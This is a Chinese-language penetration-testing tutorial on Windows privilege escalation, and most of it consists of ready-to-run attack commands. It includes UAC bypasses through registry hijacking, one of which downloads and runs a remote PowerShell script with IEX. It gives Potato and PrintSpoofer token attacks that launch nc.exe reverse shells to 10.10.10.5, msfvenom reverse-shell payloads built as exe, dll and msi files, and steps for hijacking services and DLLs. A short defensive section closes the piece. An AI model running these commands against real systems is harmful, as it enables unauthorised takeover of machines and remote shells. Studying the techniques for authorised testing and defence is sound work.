在渗透测试中,初始访问通常只能获取普通用户权限。要进一步控制系统、访问敏感数据或进行横向移动,权限提升(Privilege Escalation)是必经之路。Windows 系统拥有复杂的权限模型,但同时也存在众多可被利用的提权向量。本文将系统讲解 Windows 提权的核心技术,从权限模型基础到 UAC 绕过、令牌操作、服务劫持等高级技术,配合自动化枚举工具的使用方法。
Windows 权限模型基础
理解 Windows 提权技术之前,需要先掌握 Windows 权限体系的核心概念。
用户和用户组
Windows 通过用户组来管理权限,关键的内置组包括:
- Administrators — 完全控制权限
- Users — 标准用户权限
- Backup Operators — 可备份/恢复文件,可读取任意文件
- Remote Desktop Users — 允许 RDP 登录
- Remote Management Users — 允许 WinRM 连接
:: 查看当前用户信息
whoami
whoami /priv
whoami /groups
:: 查看本地用户和组
net user
net localgroup Administrators
:: 查看系统信息
systeminfo
hostname
访问令牌(Access Token)
Windows 中每个进程都关联一个访问令牌,令牌包含用户的 SID、所属组和特权列表。关键特权包括:
| 特权名称 | 提权潜力 | 利用方法 |
|---|---|---|
| SeImpersonatePrivilege | 高 | Potato 系列攻击 |
| SeAssignPrimaryTokenPrivilege | 高 | 令牌替换 |
| SeBackupPrivilege | 高 | 读取任意文件/注册表 |
| SeRestorePrivilege | 高 | 写入任意文件 |
| SeTakeOwnershipPrivilege | 高 | 获取文件所有权 |
| SeDebugPrivilege | 高 | 调试任意进程 |
| SeLoadDriverPrivilege | 高 | 加载内核驱动 |
完整性级别(Integrity Levels)
Windows Vista 之后引入的强制完整性控制(MIC)将进程分为不同的完整性级别:
- System — 系统级别(内核和系统服务)
- High — 管理员级别(提升后的管理员进程)
- Medium — 标准用户级别(普通用户进程)
- Low — 低完整性(浏览器沙箱等)
# 查看当前进程完整性级别
whoami /groups | findstr "Mandatory"
# 使用 Process Explorer 查看进程令牌和完整性级别
# 或使用 PowerShell
(Get-Process -Id $PID).StartInfo
UAC 绕过技术
用户账户控制(UAC)是 Windows 的安全屏障,即使用户属于 Administrators 组,默认也运行在 Medium 完整性级别。UAC 绕过是获取 High 完整性进程的关键步骤。
fodhelper.exe 绕过
fodhelper.exe 是一个 Windows 内置的自动提升程序(auto-elevate),通过修改注册表可以劫持其执行流程。
# 方法一:PowerShell 实现 fodhelper UAC 绕过
# 创建注册表项
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe /c powershell.exe -ep bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')" -Force
# 触发 fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# 清理注册表
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
eventvwr.exe 绕过
事件查看器(eventvwr.exe)同样是自动提升程序,可通过注册表劫持实现 UAC 绕过。
# eventvwr.exe UAC 绕过
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe" -Force
# 触发
Start-Process "C:\Windows\System32\eventvwr.exe"
# 清理
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force
其他 UAC 绕过方法
:: 使用 UACME 工具(集成了大量 UAC 绕过方法)
:: https://github.com/hfiref0x/UACME
Akagi64.exe 23 C:\Windows\System32\cmd.exe
:: computerdefaults.exe 绕过
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f
computerdefaults.exe
令牌窃取与模拟
当用户拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 特权时(通常为服务账户如 IIS、MSSQL),可以通过令牌操作提升到 SYSTEM 权限。
Meterpreter Incognito
# 在 Meterpreter 会话中
meterpreter > use incognito
meterpreter > list_tokens -u
# 模拟管理员令牌
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
# 或
meterpreter > impersonate_token "LAB\\Administrator"
# 确认权限
meterpreter > getuid
JuicyPotato
JuicyPotato 利用 COM 服务器的令牌协商过程,将服务账户的 SeImpersonatePrivilege 提升到 SYSTEM。
:: 检查是否有 SeImpersonatePrivilege
whoami /priv
:: 使用 JuicyPotato
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe" -t *
:: 需要指定 CLSID(不同 Windows 版本 CLSID 不同)
:: Windows Server 2016:
JuicyPotato.exe -l 1337 -p C:\Temp\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
PrintSpoofer
PrintSpoofer 利用 Windows 打印后台处理服务的命名管道模拟漏洞,适用于 Windows 10 和 Server 2019 等较新系统。
:: PrintSpoofer 提权
PrintSpoofer64.exe -i -c cmd
:: 直接执行反向 Shell
PrintSpoofer64.exe -c "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"
GodPotato 和 SweetPotato
:: GodPotato(支持 Windows Server 2012 到 2022 全版本)
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"
:: SweetPotato
SweetPotato.exe -p C:\Temp\nc.exe -a "10.10.10.5 4444 -e cmd.exe"
服务路径劫持
Windows 服务的配置错误是常见的提权向量。
不带引号的服务路径(Unquoted Service Path)
当服务的可执行文件路径包含空格且未用引号括起时,Windows 会按照特定顺序尝试解析路径,攻击者可以在中间路径放置恶意可执行文件。
:: 查找不带引号的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
:: PowerShell 查询
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode
:: 例如路径为:C:\Program Files\Vulnerable App\Service.exe
:: Windows 会依次尝试:
:: C:\Program.exe
:: C:\Program Files\Vulnerable.exe
:: C:\Program Files\Vulnerable App\Service.exe
:: 检查是否有写入权限
icacls "C:\Program Files\Vulnerable App\"
:: 如果可写,放置恶意文件
:: 生成 payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o Vulnerable.exe
:: 将 Vulnerable.exe 复制到 C:\Program Files\
:: 重启服务
sc stop VulnService
sc start VulnService
可写服务二进制文件
:: 检查服务二进制的文件权限
icacls "C:\Services\CustomApp\service.exe"
:: 如果 BUILTIN\Users 有 (F) 或 (M) 权限,可以替换
:: 备份原文件
copy "C:\Services\CustomApp\service.exe" "C:\Temp\service_backup.exe"
:: 替换为恶意文件
copy /Y C:\Temp\malicious.exe "C:\Services\CustomApp\service.exe"
:: 重启服务触发执行
sc stop CustomService
sc start CustomService
服务权限修改
:: 使用 accesschk 检查服务权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
:: 如果对某个服务有 SERVICE_CHANGE_CONFIG 权限
sc config VulnService binpath= "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"
sc config VulnService obj= ".\LocalSystem" password= ""
sc stop VulnService
sc start VulnService
DLL 劫持
Windows 应用程序加载 DLL 时遵循特定的搜索顺序,如果攻击者能在高优先级路径中放置恶意 DLL,即可实现代码执行。
# 使用 Process Monitor 监控 DLL 加载失败
# 筛选条件:Operation = CreateFile, Result = NAME NOT FOUND, Path ends with .dll
# 生成恶意 DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f dll -o hijack.dll
# 将 DLL 放置到目标应用程序目录
# 等待应用程序或服务启动时加载
# 查找可写的 PATH 目录
$env:Path -split ';' | ForEach-Object {
$path = $_
try {
$acl = Get-Acl $path -ErrorAction SilentlyContinue
$acl.Access | Where-Object {
$_.IdentityReference -match "Users|Everyone|Authenticated" -and
$_.FileSystemRights -match "Write|Modify|FullControl"
} | ForEach-Object {
Write-Output "WRITABLE: $path - $($_.IdentityReference) - $($_.FileSystemRights)"
}
} catch {}
}
AlwaysInstallElevated 利用
当组策略 AlwaysInstallElevated 被启用时,任何用户都可以以 SYSTEM 权限安装 MSI 包。
:: 检查是否启用
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 两个键值都为 1 时存在漏洞
# 生成恶意 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f msi -o evil.msi
# 在目标机上安装
msiexec /quiet /qn /i C:\Temp\evil.msi
自动化枚举工具
手动检查每个提权向量效率低下,以下工具能自动枚举系统中的所有潜在提权路径。
WinPEAS
:: 运行 WinPEAS 全面枚举
winPEASx64.exe
:: 仅检查特定类别
winPEASx64.exe servicesinfo
winPEASx64.exe userinfo
winPEASx64.exe systeminfo
:: 将输出保存到文件
winPEASx64.exe > C:\Temp\winpeas_output.txt
WinPEAS 会自动检查以下内容:
- 系统信息和补丁级别
- 用户权限和令牌特权
- 服务配置错误(不带引号路径、可写二进制、弱权限)
- 计划任务
- 注册表自启动项
- 已安装软件的已知漏洞
- 凭据文件和历史记录
- AlwaysInstallElevated 配置
PowerUp
# 导入 PowerUp(PowerSploit 的一部分)
Import-Module .\PowerUp.ps1
# 运行所有检查
Invoke-AllChecks
# 单独检查不带引号的服务路径
Get-UnquotedService
# 检查可修改的服务
Get-ModifiableService
# 检查可修改的服务二进制文件
Get-ModifiableServiceFile
# 自动利用发现的漏洞
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'lab\testuser'
# 检查 AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# 检查自启动项
Get-ModifiableRegistryAutoRun
其他枚举工具
:: Seatbelt — 安全审计枚举
Seatbelt.exe -group=all
:: SharpUp — C# 版 PowerUp
SharpUp.exe audit
:: PrivescCheck — PowerShell 提权检查
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
:: Windows Exploit Suggester
systeminfo > sysinfo.txt
python3 windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt
安全建议与防御措施
- 保持系统更新 — 及时安装安全补丁,修复已知提权漏洞
- 配置 UAC 为最高级别 — 组策略中设置 “始终通知”
- 最小权限原则 — 服务账户使用专用低权限账户运行,避免使用 SYSTEM
- 审查服务配置 — 修复不带引号的路径,确保服务二进制文件权限正确
- 移除不必要的特权 — 审查并移除 SeImpersonate 等危险特权
- 禁用 AlwaysInstallElevated — 确保该策略未被启用
- 应用程序白名单 — 使用 AppLocker 或 WDAC 限制可执行文件
- 监控异常行为 — 使用 EDR 监控提权工具的执行和注册表修改
总结
Windows 提权是渗透测试中承上启下的关键环节,连接着初始访问和后渗透阶段。本文涵盖了主要的提权技术:
- UAC 绕过 — 通过注册表劫持 auto-elevate 程序突破 UAC 限制
- 令牌操作 — 利用 SeImpersonatePrivilege 通过 Potato 系列工具提升到 SYSTEM
- 服务劫持 — 利用不带引号路径、可写二进制、弱服务权限实现提权
- DLL 劫持 — 利用 DLL 搜索顺序劫持应用程序加载
- AlwaysInstallElevated — 利用 MSI 安装策略的错误配置
在实战中,建议先使用 WinPEAS、PowerUp 等工具自动枚举,快速定位可利用的提权路径,再结合手动验证确保利用的准确性和隐蔽性。下一篇将进入域渗透领域,讲解 Active Directory 环境的攻击技术。